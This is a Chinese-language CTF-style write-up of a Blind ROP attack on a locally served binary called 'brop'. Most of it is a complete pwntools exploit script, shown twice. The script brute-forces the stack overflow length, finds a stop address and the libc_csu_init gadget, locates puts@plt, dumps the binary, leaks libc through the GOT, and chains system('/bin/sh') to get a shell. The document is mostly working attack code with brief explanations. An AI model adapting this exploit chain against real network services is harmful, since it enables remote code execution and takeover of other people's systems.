socat tcp-l:9999,reuseaddr,fork exec:./brop
tcp-l:9999 建立一个tcp监听端口,端口为9999
reuseaddr:它允许在主进程终止后立即重启,即使一些子套接字没有完全关闭
fork:转发到的服务器 IP 和端口 这里是转发给brop处理
puts()函数用来向标准输出设备屏幕输出字符串并换行。
具体是把字符串输出到屏幕上,将‘\0’转换为回车换行。调用方式是:puts(str)。其中str是字符串数组名或者字符串指针。实际上,数组名就是指针。
不断尝试长度,此时发现没有canary,因为如果溢出到canary部分报错信息会有canary,所以最后得到栈溢出长度为72
def get_buffer_overflow_length(): # 得到栈溢出长度
i=1
while 1:
try:
f=remote("127.0.0.1",9999)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",b"g"*i)
s=f.recvline()
f.close()
i=i+1
except EOFError:
f.close()
print("因为如果有canary保护的话会有相应报错内容而这里没有,所以出现溢出到返回地址")
print("到出现错误的时候即从输入到返回地址的长度为",i-1)
return i-1
即尝试不同的probe从而使得能够返回到主函数中
def get_stop_addr(length): # 得到能返回主函数的地址
addr=0x400000
while 1:
try:
f=remote("127.0.0.1",9999)
payload=b"g"*length+p64(addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()
print(s)
if s.startswith(b"WelCome"):
print("第一个找到的能返回主函数开始的地址",hex(addr))
return addr ## 找到一个能返回主函数开始的地址
addr=addr+1
f.close()
except Exception:
addr=addr+1
f.close()
此时我们要找gadget来能够控制寄存器
在libc_csu_init的结尾存在连续pop六次的gadget,这个gadget比较罕见,而且可以通过错位得到pop rdi的操作
所以我们可以先找到连续pop6次的gadget的地址,然后偏移得到pop rdi;ret 和pop rsi;ret的地址
此时对应gadget的排列顺序就是
所以如果此时有没有crash的probe那么应该是libc_csu_init连续pop6次的gadget的地址
但也不一定,只是其他情况的概率很小,如连续pop七次但此时ret时栈顶正好有合适地址。所以又检查了一下
def get_brop_gadget(stop_addr,addr,length): # 找到能连续pop6次并ret的指令的地址
try:
f=remote("127.0.0.1",9999)
payload=b"g"*length+p64(addr)+p64(0)*6+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()
f.close()
if s.startswith(b"WelCome"):
print("找到了一个可能合适的连续pop六次+ret的gadget:",hex(addr))
return True
except Exception:
f.close()
def check_brop_gadget(stop_addr,length, addr): #检查防止其是pop7次然后ret偶然能返回到正确地址的可能性
try:
f=remote("127.0.0.1",9999)
payload=b'g'*length+p64(addr)+p64(0)*7+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()
f.close()
return False
except Exception:
f.close()
print("大概率是正确的了")
return True
def ensure_brop_gadget(stop_addr,length): #综合get和check
addr=0x400000
while 1:
if get_brop_gadget(stop_addr,addr,length):
if check_brop_gadget(stop_addr,length,addr):
print("存在一个brop_gadget,地址为:",hex(addr))
return addr
addr=addr+1
不同输出函数对应的参数个数不一样,如果是puts参数只有一个rdi,所以先用puts函数试试。
又此时如果没有开启PIE情况下,0x400000为ELF文件的头部,其内容为\x7ELF字符
所以我们可以将这个0x400000作为rdi的值,然后不断尝试probe直到输出\x7ELF字符,说明此时找到了输出函数puts
def find_put_plt(stop_addr,pop_rdi_ret,buffer_length): #找到find的plt表的位置
addr=0x400500
while 1:
f=remote("127.0.0.1",9999)
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
try:
s=f.recv()
if s.startswith(b"\x7fELF"):
print("找到了输出函数的plt位置",hex(addr))
return addr
else :
addr=addr+1
f.close()
except Exception:
f.close()
addr=addr+1
此时将参数换为程序地址,然后调用输出函数,输出程序所有内容,写入自己建立的文件,最后反汇编该文件,找到该输出函数的plt地址对应的plt表区间,进而找到跳转到输出函数在got表的地址的指令,从而找到输出函数在got表中的地址
这里先得到0x400000到0x401000,看看能不能得到plt表,结果可以得到最左上角的binary_file文件
放入IDA
找到plt表,进而找到输出函数在的got表
def leak_file(stop_addr,pop_rdi_ret,buffer_length,put_plt_addr): # 泄露二进制文件然后能找到plt中puts的内容有其got地址的相关信息
addr=0x400000
while addr<0x401000:
f=remote("127.0.0.1",9999)
payload=b'g'*buffer_length+p64(pop_rdi_ret)+p64(addr)+p64(put_plt_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvuntil(b"\nWelCome")
s=s[:s.index(b"\nWelCome")]
s=s+b"\x00"
with open("binary_file","ab+") as bf:
bf.write(s)
addr=addr+len(s)
f.close()
此时将输出函数puts在got表中的地址作为参数,调用puts函数,从而得到puts的真实地址,进而得到libc基地址。注意此时不要关闭传输通道,不然进程再次重启,对应的puts的真实地址会改变,其libc基地址也会改变,所以此时得到puts函数真实地址后跳转到主函数(返回地址是stop_addr),然后计算得到libc基地址和system地址和/bin/sh的地址,然后再次输入构造的ROP链即getshell
#buffer_length=get_buffer_overflow_length()
buffer_length=72
#stop_addr=get_stop_addr(buffer_length)
stop_addr=0x4005c0
#brop_addr=get_brop_gadget(stop_addr,buffer_length)
#ensure_brop_gadget(stop_addr,buffer_length)
brop_addr=0x4007ba
pop_rdi_ret=brop_addr+0x9
#put_plt_addr=find_put_plt(stop_addr,pop_rdi_ret,buffer_length)
put_plt_addr=0x400555
#leak_file(stop_addr,pop_rdi_ret,buffer_length,put_plt_addr)
put_got_addr=0x601018 # 查看binary_file找到got表的地址
# 以上都是通过函数得出,下面是对得出的信息进行利用
# 得到puts的地址
f=remote("127.0.0.1",9999)#f=process("./brop")
#gdb.attach(f,"b main")
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(put_got_addr)+p64(put_plt_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()[:-1]
#计算相关地址
put_addr=u64(s.ljust(8,b"\x00"))
print(hex(put_addr))
libc=ELF("./libc-2.23.so")
libc_base=put_addr-libc.sym["puts"]
print(hex(libc_base))
system_addr = libc_base + libc.sym['system']
binsh_addr=libc_base+libc.search(b"/bin/sh").__next__()
print(hex(system_addr))
print(hex(binsh_addr))
# 构造ROP链执行system函数
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
f.interactive()
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
#f=process("./brop")
def get_buffer_overflow_length(): # 得到栈溢出长度
i=1
while 1:
try:
f=remote("127.0.0.1",9999)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",b"g"*i)
s=f.recvline()
f.close()
i=i+1
except EOFError:
f.close()
print("因为如果有canary保护的话会有相应报错内容而这里没有,所以出现溢出到返回地址")
print("到出现错误的时候即从输入到返回地址的长度为",i-1)
return i-1
def get_stop_addr(length): # 得到能返回主函数的地址
addr=0x400000
while 1:
try:
f=remote("127.0.0.1",9999)
payload=b"g"*length+p64(addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()
print(s)
if s.startswith(b"WelCome"):
print("第一个找到的能返回主函数开始的地址",hex(addr))
return addr ## 找到一个能返回主函数开始的地址
addr=addr+1
f.close()
except Exception:
addr=addr+1
f.close()
def get_brop_gadget(stop_addr,addr,length): # 找到能连续pop6次并ret的指令的地址
try:
f=remote("127.0.0.1",9999)
payload=b"g"*length+p64(addr)+p64(0)*6+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()
f.close()
if s.startswith(b"WelCome"):
print("找到了一个可能合适的连续pop六次+ret的gadget:",hex(addr))
return True
except Exception:
f.close()
def check_brop_gadget(stop_addr,length, addr): #检查防止其是pop7次然后ret偶然能返回到正确地址的可能性
try:
f=remote("127.0.0.1",9999)
payload=b'g'*length+p64(addr)+p64(0)*7+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()
f.close()
return False
except Exception:
f.close()
print("大概率是正确的了")
return True
def ensure_brop_gadget(stop_addr,length): #综合get和check
addr=0x400000
while 1:
if get_brop_gadget(stop_addr,addr,length):
if check_brop_gadget(stop_addr,length,addr):
print("存在一个brop_gadget,地址为:",hex(addr))
return addr
addr=addr+1
def find_put_plt(stop_addr,pop_rdi_ret,buffer_length): #找到find的plt表的位置
addr=0x400500
while 1:
f=remote("127.0.0.1",9999)
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
try:
s=f.recv()
if s.startswith(b"\x7fELF"):
print("找到了输出函数的plt位置",hex(addr))
return addr
else :
addr=addr+1
f.close()
except Exception:
f.close()
addr=addr+1
def leak_file(stop_addr,pop_rdi_ret,buffer_length,put_plt_addr): # 泄露二进制文件然后能找到plt中puts的内容有其got地址的相关信息
addr=0x400000
while addr<0x401000:
f=remote("127.0.0.1",9999)
payload=b'g'*buffer_length+p64(pop_rdi_ret)+p64(addr)+p64(put_plt_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvuntil(b"\nWelCome")
s=s[:s.index(b"\nWelCome")]
s=s+b"\x00"
with open("binary_file","ab+") as bf:
bf.write(s)
addr=addr+len(s)
f.close()
#buffer_length=get_buffer_overflow_length()
buffer_length=72
#stop_addr=get_stop_addr(buffer_length)
stop_addr=0x4005c0
#brop_addr=get_brop_gadget(stop_addr,buffer_length)
#ensure_brop_gadget(stop_addr,buffer_length)
brop_addr=0x4007ba
pop_rdi_ret=brop_addr+0x9
#put_plt_addr=find_put_plt(stop_addr,pop_rdi_ret,buffer_length)
put_plt_addr=0x400555
#leak_file(stop_addr,pop_rdi_ret,buffer_length,put_plt_addr)
put_got_addr=0x601018 # 查看binary_file找到got表的地址
# 以上都是通过函数得出,下面是对得出的信息进行利用
# 得到puts的地址
f=remote("127.0.0.1",9999)#f=process("./brop")
#gdb.attach(f,"b main")
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(put_got_addr)+p64(put_plt_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()[:-1]
#计算相关地址
put_addr=u64(s.ljust(8,b"\x00"))
print(hex(put_addr))
libc=ELF("./libc-2.23.so")
libc_base=put_addr-libc.sym["puts"]
print(hex(libc_base))
system_addr = libc_base + libc.sym['system']
binsh_addr=libc_base+libc.search(b"/bin/sh").__next__()
print(hex(system_addr))
print(hex(binsh_addr))
# 构造ROP链执行system函数
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
f.interactive()
""" 测试用的
f=remote("127.0.0.1",9999)
f=process("./brop")
#gdb.attach(f,"b main")
payload=b"g"*buffer_length+p64(pop_rdi_ret)+p64(0x40093b)+p64(put_plt_addr)+p64(stop_addr)
f.sendlineafter(b"WelCome my friend,Do you know password?\n",payload)
s=f.recvline()
"""